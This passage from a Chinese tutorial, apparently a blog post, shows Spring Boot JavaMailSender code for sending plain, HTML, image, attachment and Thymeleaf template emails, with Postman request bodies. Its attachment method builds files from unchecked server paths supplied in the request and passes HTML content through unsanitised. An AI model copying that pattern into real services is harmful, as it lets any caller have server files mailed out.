	simpleMailMessage.setText(model.getContent());

	// 发送邮件
	javaMailSender.send(simpleMailMessage);
	log.info("send simple email success!");
	return true;
}


3.1.2 postman脚本


{
    "recipientMailbox": [
        "test@xxxx.cn"
    ],
    "title": "简单测试主题",
    "content": "<h1>测试邮件测试人test</h1>"
}


3.1.3 发送请求,将email对象中的数据初始化



查看是否收到邮件,内容和我们发送的一样



3.2 发送简单的邮件(内容可以识别html标签)


3.2.1 方法1


直接和上面一样,使用SimpleMessage对象,调用setText方法,里面的字符串是带有html标签的字符串,在发送邮件的时候会自动解析正文中的html标签 代码和上面一样,只需要修改发送email的内容即可




3.2.2 方法2


使用MimeMessage来作为对象发送,但是邮件内容需要通过MimeMessageHelper对象来进行封装进MimeMessage里

注意:

如果发送的内容包括html标签,则需要 helper.setText(email.getContent(),true);第二个参数要为true,表示开启识别html标签.默认是false,也就是不识别.



/**
 * 发送富文本邮件(附件,图片,html等)
 *      使用MimeMessage来作为对象发送,
 *      但是邮件内容需要通过 MimeMessageHelper 对象来进行封装进MimeMessage 里
 * 注意:
 *      如果发送的内容包括html标签, 则需要 helper.setText(email.getContent(),true);
 *      第二个参数要为true,表示开启识别html标签.默认是false,也就是不识别.
 * @param model
 * @return
 */
public boolean sendMimeEmail(EmailModel model) {
	MimeMessage mimeMessage=javaMailSender.createMimeMessage();
	MimeMessageHelper helper=new MimeMessageHelper(mimeMessage);

	try {
		// 设置发件人邮箱
		helper.setFrom(MAIL_USERNAME);

		// 设置接收人账号
		helper.setTo(model.getRecipientMailbox());

		// 设置邮件标题
		helper.setSubject(model.getTitle());

		// 设置抄送人
		String[] ccMailbox=model.getCcMailbox();
		if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
			helper.setCc(model.getCcMailbox());
		}

		// 加密抄送人邮箱
		String[] bccMailbox=model.getBccMailbox();
		if (ArrayUtils.isNotEmpty(bccMailbox)) {
			helper.setBcc(model.getBccMailbox()); // 加密抄送
		}

		// 发送日期
		helper.setSentDate(new Date());

		// 发送的内容包括html标签, 需要 helper.setText(email.getContent(),true); 开启html识别
		// 使用 MimeMessage 对象, 调用setText方法, 里面的字符串是带有html标签的字符串,
		// 在发送邮件的时候会自动解析正文中的html标签
		helper.setText(model.getContent(), true);

		// 发送邮件
		javaMailSender.send(mimeMessage);
		log.info("send mime email success!");
		return true;
	} catch (MessagingException e) {
		e.printStackTrace();
		return false;
	}
}


3.2.3 postman脚本


{
    "recipientMailbox": [
        "test@xxxx.cn"
    ],
    "title": "链接地址测试主题",
    "content": "<a href=\"https://www.baidu.com/\">点击跳转百度</a>"
}




3.3 发送带静态资源(图片)的邮件中


方法和上面方法2中的代码是一致的,只相当于邮件内容还是html标签,现在就是使用的<img>标签



3.3.1 postman脚本


{
    "recipientMailbox": [
        "test@xxxx.cn"
    ],
    "title": "图片测试主题",
    "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>"
}


效果图:



3.4 发送带附件的邮件


我们的邮件中可能还需要附带一些附件,比如文件,或者jar包等等,如何发送附件呢? 也是使用MimeMessage对象和MimeMessageHelper对象,但是在创建MimeMessageHelper对象的时候需要加一个参数为true.



/**
 * 使用 MimeMessage 发送富文本邮件(附件,图片,html等)
 * @param model
 * @return
 */
public boolean sendAttachMimeEmail(EmailModel model) {
	MimeMessage mimeMessage=javaMailSender.createMimeMessage();

	try {
		// 发送带附件的邮件, 需要加一个参数为true
		MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);

		// 设置发件人邮箱
		helper.setFrom(MAIL_USERNAME);

		// 设置接收人账号
		helper.setTo(model.getRecipientMailbox());

		// 设置邮件标题
		helper.setSubject(model.getTitle());

		// 设置抄送人
		String[] ccMailbox=model.getCcMailbox();
		if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
			helper.setCc(model.getCcMailbox());
		}

		// 加密抄送人邮箱
		String[] bccMailbox=model.getBccMailbox();
		if (ArrayUtils.isNotEmpty(bccMailbox)) {
			helper.setBcc(model.getBccMailbox()); // 加密抄送
		}

		// 发送日期
		helper.setSentDate(new Date());

		// 发送的内容包括html标签, 需要 helper.setText(email.getContent(),true); 开启html识别
		// 使用 MimeMessage 对象, 调用setText方法, 里面的字符串是带有html标签的字符串,
		// 在发送邮件的时候会自动解析正文中的html标签
		helper.setText(model.getContent(), true);

		Map<String, Object> enclosures=model.getEnclosures();

		// 创建要传递的附件对象
		if (!CollectionUtils.isEmpty(enclosures)) { // import org.springframework.util.CollectionUtils;
			for (String key : enclosures.keySet()) {
				// File file=new File("D:\mybatis.doc");
				File file=new File((String) enclosures.get(key));

				// 通过MimeMessageHelper对象的addAttachment方法来传递附件
				// 第一个参数为附件名, 第二个参数为File对象
				helper.addAttachment(key, file);
			}
		}

		// 预览文件
		// helper.addAttachment("2.jpg", new File("E:\\pic\\2.jpg"));
		// 配合前端可以直接预览图片
		// helper.addInline("p01", new FileSystemResource(new File("E:\\pic\\2.jpg")));
		// helper.addInline("p02", new FileSystemResource(new File("E:\\pic\\2.jpg")));

		// 发送邮件
		javaMailSender.send(mimeMessage);
		log.info("send mime email success!");
		return true;
	} catch (MessagingException e) {
		e.printStackTrace();
		return false;
	}
}


3.4.1 postman脚本


{
    "recipientMailbox": [
        "test@xxx.cn"
    ],
    "title": "附件测试主题",
    "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>",
    "enclosures": {
        "dog2.jpg": "E:\\2.新员工\\img\\dog2.png"
    }
}


3.4.2 重点


  1. 第二个参数为true


MimeMessageHelper helper=new MimeMessageHelper(mimeMessage,true);
File file=new File(“D:\Users\Administrator\Desktop\picture\mybatis.doc”);


  1. 调用helper的addAttachment来添加附件


helper.addAttachment(file.getName(),file);



3.4.3 附件上传成功!



3.5 发送 thymleaf 模板邮件


3.5.1 模板 mail.html


放在resource/templates/mail目录下


<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>title</title>
</head>
<body>
    <h3>你看我<span style="font-size: 35px" th:text="${username}"></span>, 哈哈哈!</h3>
</body>
</html>


3.5.2 postman脚本